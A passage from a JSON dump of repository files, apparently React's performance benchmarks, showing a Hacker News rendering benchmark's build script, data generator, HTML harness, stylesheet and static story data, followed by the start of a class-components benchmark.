},\n        e(\n          'tbody',\n          null,\n          e(HeaderBar, null),\n          e('tr', {height: 10}),\n          e(StoryList, {\n            stories,\n          })\n        )\n      )\n    );\n  }\n\n  const app = document.getElementById('app');\n\n  window.render = function render() {\n    ReactDOM.render(\n      React.createElement(App, {\n        stories: window.stories,\n      }),\n      app\n    );\n  };\n})();\n"
  },
  {
    "path": "scripts/bench/benchmarks/hacker-news/build.js",
    "content": "'use strict';\n\nconst {join} = require('path');\n\nasync function build(reactPath, asyncCopyTo) {\n  // copy the UMD bundles\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react.production.js'),\n    join(__dirname, 'react.production.js')\n  );\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react-dom.production.js'),\n    join(__dirname, 'react-dom.production.js')\n  );\n}\n\nmodule.exports = build;\n"
  },
  {
    "path": "scripts/bench/benchmarks/hacker-news/generate.js",
    "content": "'use strict';\n\nconst fetch = require('node-fetch');\nconst {writeFileSync} = require('fs');\nconst stories = 50;\n\nasync function getStory(id) {\n  const storyRes = await fetch(\n    `https://hacker-news.firebaseio.com/v0/item/${id}.json`\n  );\n  return await storyRes.json();\n}\n\nasync function getTopStories() {\n  const topStoriesRes = await fetch(\n    'https://hacker-news.firebaseio.com/v0/topstories.js'\n  );\n  const topStoriesIds = await topStoriesRes.json();\n\n  const topStories = [];\n  for (let i = 0; i < stories; i++) {\n    const topStoriesId = topStoriesIds[i];\n\n    topStories.push(await getStory(topStoriesId));\n  }\n\n  writeFileSync(\n    'top-stories.json',\n    `window.stories = ${JSON.stringify(topStories)}`\n  );\n}\n\ngetTopStories();\n"
  },
  {
    "path": "scripts/bench/benchmarks/hacker-news/index.html",
    "content": "<html>\n  <head>\n    <title>React Hacker News Benchmark</title>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" />\n  </head>\n  <body>\n    <div id=\"app\"></div>\n    <script>\n      performance.mark('Load React');\n      performance.mark('Load React+ReactDOM');\n    </script>\n    <script src=\"react.production.min.js\"></script>\n    <script>\n      performance.measure('Load React', 'Load React');\n    </script>\n    <script>\n      performance.mark('Load ReactDOM');\n    </script>\n    <script src=\"react-dom.production.min.js\"></script>\n    <script>\n      performance.measure('Load ReactDOM', 'Load ReactDOM');\n      performance.measure('Load React+ReactDOM', 'Load React+ReactDOM');\n    </script>\n    <script src=\"top-stories.js\"></script>\n    <script src=\"benchmark.js\"></script>\n    <script>\n      performance.mark('Initial Render');\n      render();\n      performance.measure('Initial Render', 'Initial Render');\n      requestAnimationFrame(() => {\n        performance.mark('Update Render');\n        render();\n        performance.measure('Update Render', 'Update Render');\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "scripts/bench/benchmarks/hacker-news/style.css",
    "content": "body {\n  font-family: Verdana, Geneva, sans-serif\n}\n\n.pagetop {\n  font-family: Verdana, Geneva, sans-serif;\n  font-size: 10pt;\n  color: #00d8ff;\n}\n\n.hnname {\n  margin-right: 10px;\n  color: #fff;\n}\n\n.pagetop a, .pagetop a:visited {\n  color: #00d8ff;\n  text-decoration: none;\n}\n\n.title {\n  font-family: Verdana, Geneva, sans-serif;\n  font-size: 10pt;\n  color: #828282;\n}\n\n.subtext {\n  font-family: Verdana, Geneva, sans-serif;\n  font-size: 7pt;\n  color: #828282;\n}\n\n.comhead a:link, .subtext a, .subtext a:visited {\n  color: #828282;\n  text-decoration: none;\n}\n\n.votearrow {\n  width: 10px;\n  height: 10px;\n  border: 0px;\n  margin: 3px 2px 6px;\n  background: url(grayarrow.gif) no-repeat;\n}\n\n.title, .title a {\n  font-family: Verdana, Geneva, sans-serif;\n  font-size: 10pt;\n  color: #000;\n  text-decoration: none;\n}\n\n.comhead, .comhead a {\n  font-family: Verdana, Geneva, sans-serif;\n  font-size: 8pt;\n  color: #828282;\n}"
  },
  {
    "path": "scripts/bench/benchmarks/hacker-news/top-stories.js",
    "content": "window.stories = [\n  {\n    by: 'rendx',\n    descendants: 49,\n    id: 14201562,\n    kids: [\n      14201704, 14202297, 14202233, 14201771, 14201765, 14201897, 14201750,\n      14201913, 14201854, 14201667, 14201759, 14202073,\n    ],\n    score: 186,\n    time: 1493197629,\n    title:\n      'Postal: Open source mail delivery platform, alternative to Mailgun or Sendgrid',\n    type: 'story',\n    url: 'https://github.com/atech/postal',\n  },\n  {\n    by: 'rabyss',\n    descendants: 4,\n    id: 14202124,\n    kids: [14202293, 14202249],\n    score: 16,\n    time: 1493205989,\n    title:\n      'Show HN: BreakLock – A hybrid of Mastermind and the Android pattern lock',\n    type: 'story',\n    url: 'https://maxwellito.github.io/breaklock/',\n  },\n  {\n    by: 'morid1n',\n    descendants: 137,\n    id: 14200563,\n    kids: [\n      14201274, 14200711, 14201147, 14201365, 14201499, 14200618, 14201169,\n      14200911, 14200734, 14201083, 14200706, 14200785, 14201032,\n    ],\n    score: 178,\n    time: 1493183234,\n    title: 'My Hackintosh Hardware Spec – clean, based on a 2013 iMac',\n    type: 'story',\n    url: 'https://infinitediaries.net/my-exact-hackintosh-spec/',\n  },\n  {\n    by: 'robertwiblin',\n    descendants: 203,\n    id: 14196731,\n    kids: [\n      14201298, 14201838, 14201381, 14197574, 14201398, 14199764, 14198491,\n      14197000, 14198224, 14200614, 14201983, 14200697, 14199252, 14201214,\n      14198923, 14200224, 14197509, 14200859, 14200064, 14200114, 14197256,\n      14197220, 14200653, 14197186, 14199258, 14197155, 14197344, 14198361,\n      14197969, 14199813, 14197259, 14197503,\n    ],\n    score: 562,\n    time: 1493145853,\n    title: \"Evidence-based advice we've found on how to be successful in a job\",\n    type: 'story',\n    url: 'https://80000hours.org/career-guide/how-to-be-successful/',\n  },\n  {\n    by: 'ryan_j_naughton',\n    descendants: 565,\n    id: 14196812,\n    kids: [\n      14198306, 14197339, 14200899, 14198165, 14198750, 14202199, 14201432,\n      14197619, 14197471, 14201113, 14202214, 14202043, 14197313, 14197751,\n      14197332, 14198050, 14201616, 14197404, 14199730, 14198007, 14197358,\n      14197283, 14200959, 14197891, 14198203, 14197312, 14200796, 14201528,\n      14197249, 14198271, 14197989, 14198842, 14197205, 14199148, 14197458,\n      14200457, 14197330, 14199993, 14197855, 14200102, 14197378, 14199315,\n      14198240, 14198397, 14199326, 14200159, 14198798, 14201296, 14198173,\n      14197323, 14197383, 14197459, 14197275, 14198305, 14198005, 14198015,\n      14199380, 14199079, 14198413, 14197334, 14197327, 14197234,\n    ],\n    score: 385,\n    time: 1493146342,\n    title: 'Is Every Speed Limit Too Low?',\n    type: 'story',\n    url: 'https://priceonomics.com/is-every-speed-limit-too-low/',\n  },\n  {\n    by: 'monort',\n    descendants: 63,\n    id: 14196322,\n    kids: [\n      14197628, 14200026, 14197457, 14197486, 14202126, 14201266, 14197227,\n      14199404, 14199338, 14196382, 14200598, 14197377, 14199689, 14198538,\n      14196905, 14200404, 14198781, 14197278, 14197888, 14197742, 14197764,\n    ],\n    score: 316,\n    time: 1493143464,\n    title: 'Experimental Nighttime Photography with Nexus and Pixel',\n    type: 'story',\n    url: 'https://research.googleblog.com/2017/04/experimental-nighttime-photography-with.html',\n  },\n  {\n    by: 'networked',\n    descendants: 9,\n    id: 14199028,\n    kids: [14201588, 14200361, 14200314, 14200338],\n    score: 121,\n    time: 1493161601,\n    title: 'JPEG Huffman Coding Tutorial',\n    type: 'story',\n    url: 'https://www.impulseadventure.com/photo/jpeg-huffman-coding.html',\n  },\n  {\n    by: 'jasontan',\n    id: 14202227,\n    score: 1,\n    time: 1493207865,\n    title:\n      'Are you adept at understanding concurrency problems? Sift Science is hiring',\n    type: 'job',\n    url: 'https://boards.greenhouse.io/siftscience/jobs/550699#.WPUZhlMrLfY',\n  },\n  {\n    by: 'pouwerkerk',\n    descendants: 80,\n    id: 14196077,\n    kids: [\n      14199434, 14196279, 14196604, 14197440, 14201734, 14200922, 14200452,\n      14197115, 14199837, 14199894, 14196596, 14198243, 14196565, 14197400,\n      14197049, 14197686, 14198545, 14198475,\n    ],\n    score: 717,\n    time: 1493142008,\n    title:\n      'Painting with Code: Introducing our new open source library React Sketch.app',\n    type: 'story',\n    url: 'https://airbnb.design/painting-with-code/',\n  },\n  {\n    by: 'mromnia',\n    descendants: 16,\n    id: 14201670,\n    kids: [\n      14201835, 14202115, 14202176, 14201890, 14202325, 14201859, 14202158,\n      14201763, 14201902,\n    ],\n    score: 62,\n    time: 1493198949,\n    title: 'How to mod a Porsche 911 to run Doom [video]',\n    type: 'story',\n    url: 'https://www.youtube.com/watch?v=NRMpNA86e8Q',\n  },\n  {\n    by: 'rbanffy',\n    descendants: 16,\n    id: 14192383,\n    kids: [14197494, 14201805, 14197484],\n    score: 194,\n    time: 1493118160,\n    title: 'Go programming language secure coding practices guide',\n    type: 'story',\n    url: 'https://github.com/Checkmarx/Go-SCP',\n  },\n  {\n    by: 'intous',\n    descendants: 0,\n    id: 14200446,\n    score: 39,\n    time: 1493181245,\n    title: 'Building Functional Chatbot for Messenger with Ruby on Rails',\n    type: 'story',\n    url: 'https://tutorials.botsfloor.com/chatbot-development-tutorial-how-to-build-a-fully-functional-weather-bot-on-facebook-messenger-c94ac7c59185',\n  },\n  {\n    by: 'nanospeck',\n    descendants: 23,\n    id: 14201207,\n    kids: [\n      14202252, 14201646, 14201620, 14202076, 14201511, 14201324, 14201940,\n      14201425, 14201505, 14201304, 14201435, 14201287, 14201739, 14202031,\n      14202018,\n    ],\n    score: 57,\n    text: 'This question was asked on both 2015 &amp; 2016 in HN. I would like to ask it again today to know what are the newest options for this.<p>Q: What would you recommend as a reasonably priced (sub 150$) quad-copter&#x2F;drone, that has a camera, the ability to be programmed (so that I can process video&#x2F;write my own stability algorithms for it), good range, and reasonable flying time?\\nIn the event nothing fits that price point, any pointers on what the state of the art is?<p>Thanks!',\n    time: 1493192641,\n    title: 'Ask HN (again): What is the best affordable programmable drone?',\n    type: 'story',\n  },\n  {\n    by: 'geuis',\n    descendants: 57,\n    id: 14196708,\n    kids: [\n      14197480, 14198523, 14198705, 14200969, 14200079, 14197605, 14198979,\n      14202203, 14197679, 14198461, 14200389, 14198065, 14197883, 14197908,\n    ],\n    score: 123,\n    time: 1493145655,\n    title: 'Hackpad shutting down',\n    type: 'story',\n    url: 'https://hackpad.com/',\n  },\n  {\n    by: 'jfoutz',\n    descendants: 55,\n    id: 14195956,\n    kids: [\n      14199594, 14196972, 14202101, 14198197, 14196771, 14197326, 14196956,\n      14200842, 14201529, 14198581, 14196777, 14200177, 14200422, 14198571,\n    ],\n    score: 167,\n    time: 1493141367,\n    title: 'Linkerd 1.0',\n    type: 'story',\n    url: 'https://blog.buoyant.io/2017/04/25/announcing-linkerd-1.0/index.html',\n  },\n  {\n    by: 'DavidBuchanan',\n    descendants: 19,\n    id: 14199364,\n    kids: [\n      14199735, 14200889, 14202245, 14200205, 14200104, 14201697, 14200061,\n      14199996, 14199867,\n    ],\n    score: 66,\n    time: 1493164755,\n    title:\n      \"Show HN: TARDIS – Warp a process's perspective of time by hooking syscalls\",\n    type: 'story',\n    url: 'https://github.com/DavidBuchanan314/TARDIS',\n  },\n  {\n    by: 'rchen8',\n    descendants: 121,\n    id: 14195664,\n    kids: [\n      14196654, 14196206, 14196677, 14197035, 14196041, 14196399, 14196200,\n      14196140, 14196216, 14196421, 14196370, 14196146, 14197601, 14197107,\n      14196866, 14196691, 14197704, 14196772, 14200089, 14198588, 14196937,\n      14198530, 14197119, 14197247, 14198632, 14196137, 14200323, 14196346,\n    ],\n    score: 486,\n    time: 1493139957,\n    title: 'How to Become Well-Connected',\n    type: 'story',\n    url: 'https://firstround.com/review/how-to-become-insanely-well-connected/',\n  },\n  {\n    by: 'dbrgn',\n    descendants: 89,\n    id: 14191186,\n    kids: [\n      14200855, 14200035, 14200110, 14201408, 14202159, 14197876, 14200348,\n      14198720, 14198183, 14199824, 14198281, 14201643, 14201591, 14199541,\n      14198423, 14201738, 14200037, 14201349, 14200028, 14201206, 14197995,\n      14197830, 14199603,\n    ],\n    score: 135,\n    time: 1493100791,\n    title: 'How to Say (Almost) Everything in a Hundred-Word Language (2015)',\n    type: 'story',\n    url: 'https://www.theatlantic.com/technology/archive/2015/07/toki-pona-smallest-language/398363/?single_page=true',\n  },\n  {\n    by: 'runesoerensen',\n    descendants: 62,\n    id: 14198866,\n    kids: [14199494, 14199495, 14200288, 14201118, 14199599],\n    score: 155,\n    time: 1493160263,\n    title: 'Nginx 1.13 released with TLS 1.3 support',\n    type: 'story',\n    url: 'https://mailman.nginx.org/pipermail/nginx-announce/2017/000195.html',\n  },\n  {\n    by: 'bcherny',\n    descendants: 20,\n    id: 14199299,\n    kids: [\n      14200694, 14201832, 14200517, 14201760, 14200966, 14200558, 14201815,\n      14201231, 14201073, 14201124,\n    ],\n    score: 54,\n    time: 1493163960,\n    title: 'Show HN: JSONSchema to TypeScript compiler',\n    type: 'story',\n    url: 'https://github.com/bcherny/json-schema-to-typescript',\n  },\n  {\n    by: 'tormeh',\n    descendants: 37,\n    id: 14198557,\n    kids: [14201027, 14199082, 14201023, 14201160, 14200367, 14200647],\n    score: 70,\n    time: 1493158034,\n    title: 'A practitioner’s guide to hedonism (2007)',\n    type: 'story',\n    url: 'https://www.1843magazine.com/story/a-practitioners-guide-to-hedonism',\n  },\n  {\n    by: 'nickreiner',\n    descendants: 33,\n    id: 14199125,\n    kids: [\n      14202332, 14201634, 14201200, 14201215, 14201157, 14201898, 14201969,\n      14201125,\n    ],\n    score: 52,\n    time: 1493162517,\n    title: 'Best Linux Distros for Gaming in 2017',\n    type: 'story',\n    url: 'https://thishosting.rocks/best-linux-distros-for-gaming/',\n  },\n  {\n    by: 'BinaryIdiot',\n    descendants: 170,\n    id: 14200486,\n    kids: [\n      14200680, 14200677, 14201515, 14200793, 14200534, 14200908, 14200649,\n      14200633, 14200701, 14202295, 14200578, 14200709, 14200580, 14201107,\n      14201779, 14200773, 14200804, 14200720, 14202060, 14200948, 14200903,\n      14200748, 14200875, 14200750, 14200821, 14200756, 14201707, 14201689,\n      14200669, 14200997, 14200818, 14201586, 14200603, 14201054, 14201457,\n      14200616, 14201095, 14200915, 14200878, 14200629, 14201523, 14200620,\n      14202099,\n    ],\n    score: 316,\n    time: 1493181945,\n    title: 'Suicide of an Uber engineer: Widow blames job stress',\n    type: 'story',\n    url: 'https://www.sfchronicle.com/business/article/Suicide-of-an-Uber-engineer-widow-blames-job-11095807.php?t=7e40d1f554&cmpid=fb-premium&cmpid=twitter-premium',\n  },\n  {\n    by: 'catc',\n    descendants: 34,\n    id: 14195522,\n    kids: [\n      14202316, 14202278, 14197167, 14199152, 14202077, 14197239, 14197721,\n      14197632, 14197219, 14198296, 14197245, 14197201, 14197403, 14198051,\n      14196747,\n    ],\n    score: 87,\n    time: 1493139414,\n    title:\n      'Show HN: React Timekeeper – Time picker based on the style of Google Keep',\n    type: 'story',\n    url: 'https://catc.github.io/react-timekeeper/',\n  },\n  {\n    by: 'Integer',\n    descendants: 152,\n    id: 14192353,\n    kids: [\n      14197671, 14197754, 14199091, 14198533, 14201249, 14198626, 14198263,\n      14198009, 14195130, 14199551, 14197663, 14198285, 14199611, 14199835,\n      14197482, 14198924, 14198943,\n    ],\n    score: 273,\n    time: 1493117771,\n    title: 'Windows Is Bloated, Thanks to Adobe’s Extensible Metadata Platform',\n    type: 'story',\n    url: 'https://www.thurrott.com/windows/109962/windows-bloated-thanks-adobes-extensible-metadata-platform',\n  },\n  {\n    by: 'craigcannon',\n    descendants: 23,\n    id: 14197852,\n    kids: [\n      14200024, 14199986, 14202106, 14198011, 14199228, 14202138, 14198917,\n      14198607,\n    ],\n    score: 58,\n    time: 1493153342,\n    title: 'New England Lost Ski Areas Project',\n    type: 'story',\n    url: 'http://www.nelsap.org/',\n  },\n  {\n    by: 'golfer',\n    descendants: 105,\n    id: 14198229,\n    kids: [\n      14200202, 14198948, 14199770, 14198634, 14200263, 14198797, 14198919,\n      14200447, 14198645, 14199267, 14199124, 14198833, 14199059,\n    ],\n    score: 282,\n    time: 1493155745,\n    title:\n      'Uber must turn over information about its acquisition of Otto to Waymo',\n    type: 'story',\n    url: 'https://techcrunch.com/2017/04/25/uber-must-turn-over-information-about-its-acquisition-of-otto-to-waymo-court-rules/',\n  },\n  {\n    by: 'JoshTriplett',\n    descendants: 116,\n    id: 14198403,\n    kids: [\n      14199771, 14199980, 14198664, 14198764, 14201086, 14200307, 14199294,\n      14198860, 14198817,\n    ],\n    score: 139,\n    time: 1493156882,\n    title: 'Shutting down public FTP services',\n    type: 'story',\n    url: 'https://lists.debian.org/debian-announce/2017/msg00001.html',\n  },\n  {\n    by: 'mabynogy',\n    descendants: 50,\n    id: 14191577,\n    kids: [\n      14194021, 14195402, 14193886, 14193792, 14194355, 14197136, 14200386,\n      14194151, 14193989, 14193798, 14194042, 14197100, 14198984, 14193925,\n      14194170,\n    ],\n    score: 365,\n    time: 1493107104,\n    title: 'A Primer on Bézier Curves',\n    type: 'story',\n    url: 'https://pomax.github.io/bezierinfo#preface',\n  },\n  {\n    by: 'robertothais',\n    descendants: 29,\n    id: 14192946,\n    kids: [\n      14202311, 14202299, 14201900, 14200029, 14198260, 14198605, 14201850,\n      14199858, 14198223, 14198610,\n    ],\n    score: 61,\n    time: 1493124627,\n    title: 'Consciousness as a State of Matter (2014)',\n    type: 'story',\n    url: 'https://arxiv.org/abs/1401.1219',\n  },\n  {\n    by: 'leephillips',\n    descendants: 2,\n    id: 14202078,\n    kids: [14202122],\n    score: 5,\n    time: 1493205152,\n    title:\n      'The Republican Lawmaker Who Secretly Created Reddit’s Women-Hating ‘Red Pill’',\n    type: 'story',\n    url: 'http://www.thedailybeast.com/articles/2017/04/25/the-republican-lawmaker-who-secretly-created-reddit-s-women-hating-red-pill.html',\n  },\n  {\n    by: 'anguswithgusto',\n    descendants: 55,\n    id: 14196325,\n    kids: [\n      14197131, 14196789, 14197299, 14197466, 14196737, 14199929, 14197550,\n      14197511, 14196888, 14200109, 14197101,\n    ],\n    score: 80,\n    time: 1493143475,\n    title:\n      'Gett in advanced talks to buy Juno for $250M as Uber rivals consolidate',\n    type: 'story',\n    url: 'https://techcrunch.com/2017/04/25/gett-in-advanced-talks-to-buy-juno-for-250m-as-uber-rivals-consolidate/',\n  },\n  {\n    by: 'fabuzaid',\n    descendants: 2,\n    id: 14196339,\n    kids: [14201557, 14201170],\n    score: 46,\n    time: 1493143560,\n    title: 'Implementing a Fast Research Compiler in Rust',\n    type: 'story',\n    url: 'https://dawn.cs.stanford.edu/blog/weld.html',\n  },\n  {\n    by: 'bluesilver07',\n    descendants: 61,\n    id: 14196154,\n    kids: [\n      14197614, 14196853, 14197074, 14197050, 14200090, 14197731, 14196352,\n      14197442,\n    ],\n    score: 72,\n    time: 1493142448,\n    title: 'Xenko Game Engine 2.0 released',\n    type: 'story',\n    url: 'https://xenko.com/blog/release-xenko-2-0-0/',\n  },\n  {\n    by: 'molecule',\n    descendants: 254,\n    id: 14189392,\n    kids: [\n      14190198, 14190800, 14193591, 14190274, 14189796, 14190118, 14190405,\n      14190006, 14189430, 14190244, 14189877, 14190064, 14190211, 14189918,\n      14190071, 14191312, 14195969, 14190542, 14194775, 14189900, 14190032,\n      14189847, 14192128, 14191737, 14191047, 14190992, 14192759, 14191405,\n      14190815, 14194136, 14190737, 14190552, 14191385, 14189816, 14191316,\n      14193780, 14193979, 14190768, 14192973, 14191217, 14190879, 14190780,\n      14189914, 14190925, 14192906, 14190528, 14189893, 14190007, 14189929,\n      14190049, 14191859, 14191304, 14190177, 14193355, 14193352, 14190324,\n      14190846, 14189803,\n    ],\n    score: 630,\n    time: 1493076480,\n    title: 'Robert M. Pirsig has died',\n    type: 'story',\n    url: 'https://www.npr.org/sections/thetwo-way/2017/04/24/525443040/-zen-and-the-art-of-motorcycle-maintenance-author-robert-m-pirsig-dies-at-88',\n  },\n  {\n    by: 'artsandsci',\n    descendants: 67,\n    id: 14194422,\n    kids: [\n      14199418, 14196266, 14197226, 14196647, 14196324, 14201761, 14196265,\n      14195599, 14199054, 14196057,\n    ],\n    score: 127,\n    time: 1493134376,\n    title:\n      'An extra-uterine system to physiologically support the extreme premature lamb',\n    type: 'story',\n    url: 'https://www.nature.com/articles/ncomms15112',\n  },\n  {\n    by: 'miobrien',\n    descendants: 9,\n    id: 14198261,\n    kids: [14199610, 14199447, 14199862, 14201753, 14199068],\n    score: 30,\n    time: 1493155969,\n    title: 'Prior Indigenous Technological Species',\n    type: 'story',\n    url: 'https://arxiv.org/abs/1704.07263',\n  },\n  {\n    by: 'zdw',\n    descendants: 2,\n    id: 14199197,\n    kids: [14200610],\n    score: 12,\n    time: 1493163087,\n    title: 'Should Curve25519 keys be validated?',\n    type: 'story',\n    url: 'https://research.kudelskisecurity.com/2017/04/25/should-ecdh-keys-be-validated/',\n  },\n  {\n    by: 'spearo77',\n    descendants: 213,\n    id: 14189688,\n    kids: [\n      14191654, 14192373, 14190683, 14192095, 14191856, 14190771, 14190570,\n      14190599, 14190721, 14192049, 14189694, 14191430, 14193610, 14190543,\n      14190372, 14191818, 14192171, 14192177, 14192135, 14191483, 14190560,\n      14190341, 14190362, 14190452, 14192563, 14190458, 14195245, 14190809,\n      14192706, 14192959, 14190636, 14190634, 14190368, 14191163, 14191379,\n      14190668, 14191673, 14190884, 14192565, 14190480, 14190442,\n    ],\n    score: 447,\n    time: 1493079289,\n    title: 'WikiTribune – Evidence-based journalism',\n    type: 'story',\n    url: 'https://www.wikitribune.com',\n  },\n  {\n    by: 'adbrebs',\n    descendants: 294,\n    id: 14182262,\n    kids: [\n      14183335, 14183715, 14182725, 14183897, 14185812, 14184510, 14182468,\n      14183231, 14182580, 14183996, 14182449, 14185671, 14182428, 14182666,\n      14186599, 14182519, 14185571, 14185159, 14182636, 14185864, 14188340,\n      14183433, 14183146, 14184034, 14184363, 14183368, 14183098, 14182495,\n      14182753, 14184720, 14188085, 14187692, 14183633, 14188137, 14182606,\n      14186796, 14196166, 14185084, 14185899, 14188219, 14186885, 14183406,\n      14185561, 14183388, 14191457, 14183281, 14183399, 14183674, 14183236,\n      14183990, 14183760, 14183248, 14184114, 14183318, 14183457, 14186509,\n      14186900, 14186695, 14188405, 14184636, 14184630, 14188301, 14184144,\n      14183023, 14184555, 14185946, 14184611, 14184490, 14183653, 14183881,\n      14182715, 14184440, 14182573, 14183251, 14184962, 14187249, 14182545,\n      14192314,\n    ],\n    score: 1356,\n    time: 1493014335,\n    title: 'Lyrebird – An API to copy the voice of anyone',\n    type: 'story',\n    url: 'https://lyrebird.ai/demo',\n  },\n  {\n    by: 'mathgenius',\n    descendants: 6,\n    id: 14192442,\n    kids: [14197265, 14195645],\n    score: 43,\n    time: 1493118936,\n    title: 'Quantum – Open journal for quantum science',\n    type: 'story',\n    url: 'https://quantum-journal.org/papers/',\n  },\n  {\n    by: 'tjalfi',\n    descendants: 5,\n    id: 14190937,\n    kids: [14199744, 14197114, 14190946],\n    score: 107,\n    time: 1493097061,\n    title: 'A Seven Dimensional Analysis of Hashing Methods [pdf]',\n    type: 'story',\n    url: 'https://www.vldb.org/pvldb/vol9/p96-richter.pdf',\n  },\n  {\n    by: 'mxstbr',\n    descendants: 0,\n    id: 14196935,\n    score: 24,\n    time: 1493147015,\n    title: 'One GraphQL Client for JavaScript, iOS, and Android',\n    type: 'story',\n    url: 'https://dev-blog.apollodata.com/one-graphql-client-for-javascript-ios-and-android-64993c1b7991',\n  },\n  {\n    by: 'uptown',\n    descendants: 166,\n    id: 14192817,\n    kids: [\n      14197690, 14195597, 14196750, 14195237, 14196320, 14195150, 14198816,\n      14194916, 14197746, 14196332, 14194695, 14196726, 14194947, 14199715,\n      14195059, 14195778, 14196204, 14200435, 14194780, 14195030, 14198452,\n      14199023, 14194852, 14197577, 14197778, 14195361, 14196368, 14194948,\n      14199024, 14195060, 14199498,\n    ],\n    score: 226,\n    time: 1493123621,\n    title: 'How Yahoo Killed Flickr (2012)',\n    type: 'story',\n    url: 'https://gizmodo.com/5910223/how-yahoo-killed-flickr-and-lost-the-internet',\n  },\n  {\n    by: 'mattklein123',\n    descendants: 42,\n    id: 14194026,\n    kids: [\n      14194573, 14195577, 14194430, 14195407, 14194569, 14195298, 14200054,\n      14194456, 14198329, 14199198,\n    ],\n    score: 167,\n    time: 1493131921,\n    title: 'Envoy: 7 months later',\n    type: 'story',\n    url: 'https://eng.lyft.com/envoy-7-months-later-41986c2fd443',\n  },\n  {\n    by: 'misnamed',\n    descendants: 2,\n    id: 14191333,\n    kids: [14197296],\n    score: 29,\n    time: 1493103250,\n    title:\n      'Modern Hieroglyphs: Binary Logic Behind the Universal “Power Symbol”',\n    type: 'story',\n    url: 'https://99percentinvisible.org/article/modern-hieroglyphics-binary-logic-behind-universal-power-symbol/',\n  },\n  {\n    by: 'LaFolle',\n    descendants: 92,\n    id: 14191681,\n    kids: [\n      14192477, 14194490, 14192316, 14193364, 14192065, 14193499, 14194324,\n      14192622, 14192020, 14195866, 14192496, 14196391, 14192138, 14192714,\n      14195151, 14195094, 14192110, 14192155,\n    ],\n    score: 138,\n    time: 1493108371,\n    title: 'Feynman Algorithm (2014)',\n    type: 'story',\n    url: 'https://wiki.c2.com/?FeynmanAlgorithm',\n  },\n  {\n    by: 'Thevet',\n    descendants: 18,\n    id: 14190736,\n    kids: [\n      14197744, 14195753, 14197880, 14197735, 14195874, 14197023, 14196660,\n    ],\n    score: 81,\n    time: 1493093860,\n    title: 'The legend of the Legion',\n    type: 'story',\n    url: 'https://aeon.co/essays/why-young-men-queue-up-to-die-in-the-french-foreign-legion',\n  },\n  {\n    by: 'bufordsharkley',\n    descendants: 92,\n    id: 14197013,\n    kids: [\n      14197983, 14197168, 14197701, 14198239, 14197514, 14198064, 14197476,\n      14198489, 14197761, 14197080, 14198905, 14198068, 14198579,\n    ],\n    score: 69,\n    time: 1493147532,\n    title: \"Cracking the Mystery of Labor's Falling Share of GDP\",\n    type: 'story',\n    url: 'https://www.bloomberg.com/view/articles/2017-04-24/cracking-the-mystery-of-labor-s-falling-share-of-gdp',\n  },\n  {\n    by: 'rbanffy',\n    descendants: 27,\n    id: 14198470,\n    kids: [\n      14199443, 14201987, 14199461, 14199729, 14201519, 14198762, 14199524,\n    ],\n    score: 52,\n    time: 1493157378,\n    title: 'How the Internet Gave Mail-Order Brides the Power',\n    type: 'story',\n    url: 'https://backchannel.com/how-the-internet-gave-mail-order-brides-the-power-1af8c8a40562',\n  },\n];\n"
  },
  {
    "path": "scripts/bench/benchmarks/pe-class-components/benchmark.js",
    "content": "(function () {\n  'use strict';\n\n  class ReactImage0 extends React.Component {\n    render() {\n      if (this.props.x === 0) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-99 img sp_i534r85sjIn sx_538591',\n          src: null,\n        });\n      }\n      if (this.props.x === 15) {\n        return React.createElement('i', {\n          className: '_3ut_ img sp_i534r85sjIn sx_e8ac93',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 22) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-8_ img sp_i534r85sjIn sx_7b15bc',\n          src: null,\n        });\n      }\n      if (this.props.x === 29) {\n        return React.createElement('i', {\n          className: '_1m1s _4540 _p img sp_i534r85sjIn sx_f40b1c',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 42) {\n        return React.createElement(\n          'i',\n          {\n            alt: 'Warning',\n            className: '_585p img sp_i534r85sjIn sx_20273d',\n            src: null,\n          },\n          React.createElement('u', null, 'Warning')\n        );\n      }\n      if (this.props.x === 67) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-8_ img sp_i534r85sjIn sx_b5d079',\n          src: null,\n        });\n      }\n      if (this.props.x === 70) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_29f8c9',\n        });\n      }\n      if (this.props.x === 76) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-8_ img sp_i534r85sjIn sx_ef6a9c',\n          src: null,\n        });\n      }\n      if (this.props.x === 79) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_6f8c43',\n        });\n      }\n      if (this.props.x === 88) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_e94a2d',\n        });\n      }\n      if (this.props.x === 91) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_7ed7d4',\n        });\n      }\n      if (this.props.x === 94) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_930440',\n        });\n      }\n      if (this.props.x === 98) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_750c83',\n        });\n      }\n      if (this.props.x === 108) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_73c1bb',\n        });\n      }\n      if (this.props.x === 111) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_29f28d',\n        });\n      }\n      if (this.props.x === 126) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: '_3-8_ img sp_i534r85sjIn sx_91c59e',\n        });\n      }\n      if (this.props.x === 127) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-99 img sp_i534r85sjIn sx_538591',\n          src: null,\n        });\n      }\n      if (this.props.x === 134) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: '_3-8_ img sp_i534r85sjIn sx_c8eb75',\n        });\n      }\n      if (this.props.x === 135) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-99 img sp_i534r85sjIn sx_538591',\n          src: 